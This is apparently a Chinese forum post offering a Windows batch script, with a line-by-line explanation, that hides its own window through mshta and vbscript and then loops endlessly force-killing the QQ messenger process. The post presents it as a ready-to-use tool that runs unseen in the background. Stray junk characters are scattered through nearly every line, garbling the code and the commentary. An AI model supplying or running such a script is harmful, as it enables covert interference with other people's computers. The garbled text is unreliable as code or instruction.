|
功能:运行以后机器上的QQ就不能运行了。终结方法是:打开任务管理器,然后结束进程cmd.exe就可以了。 , {, g$ K# n+ g @8 T% H
新建文本文档,然后将下面代码复制进去,然后重命名为a.bat,然后双击就可以了。 1 B& y! C& B& p C5 k/ x& f7 r
* t5 D9 T$ e6 E" L' K8 p- x* F
@echo off
/ o8 C8 G, F/ _- ]/ J1 Pif "%1" == "h" goto begin : U8 i+ i/ D, J, l
mshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit " Q) @& |: j8 s6 c
:begin 6 _1 {; i, U; h( t. f- q+ Q, m
tasklist |find /i "QQ.exe"
+ t. m/ L- }2 |7 \2 Mif %errorlevel%==0 (goto killit) else (goto next) " H) Y# J2 z( Y% Z0 I `
:killit 5 b* P8 ^# U8 _! ?3 q+ V1 ]
taskkill /f /im QQ.exe
, q$ l7 \) a* S' I( s:next 3 `; j) V' d/ ^4 I' g5 T C
ping -n 3 127.t >nul 2>nul
; R6 A3 c0 t$ S' {, |* zgoto begin 1 |3 ~/ b" r; u/ \! K2 X) G+ W
' Q$ h- s$ [3 r; C) J T5 P
代码到此为止
$ B) w/ m3 h2 V: D讲解如下:
2 R7 _# W& Y% E, P; y( }) s. l@echo off ------关闭回显
$ Z; \ ?- J- Jif "%1" == "h" goto begin --如果文件运行时有参数h,则显示窗口运行,否则只是在后台运行
& j8 B2 H' Z. d) o4 imshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit -----隐藏窗口代码 ; p: Y) p; p5 ?4 B/ K% m. C
:begin ------------定一段名begin
) \) }+ K- g: W6 o, ltasklist |find /i "QQ.exe" ----在任务管理器里寻找进程QQ.exe
& V' s" r& O. q3 b7 X: F$ rif %errorlevel%==0 (goto killit) else (goto next)---如果存在QQ.exe.则跳转执行killit,否则执行next
/ X/ G7 t) K+ @9 I: i) o$ Y:killit ' }# N( r7 k/ D X* n- d
taskkill /f /im QQ.exe----终结进程QQ.exe
1 A* w' U0 S# B5 D4 N) {:next
, _3 A4 \5 b4 x; X6 o* @ping -n 3 127.t >nul 2>nul -----延迟一段时间
8 K6 Z9 T) F! Qgoto begin--------------返回执行begin$ k, |& q1 s. s
|
|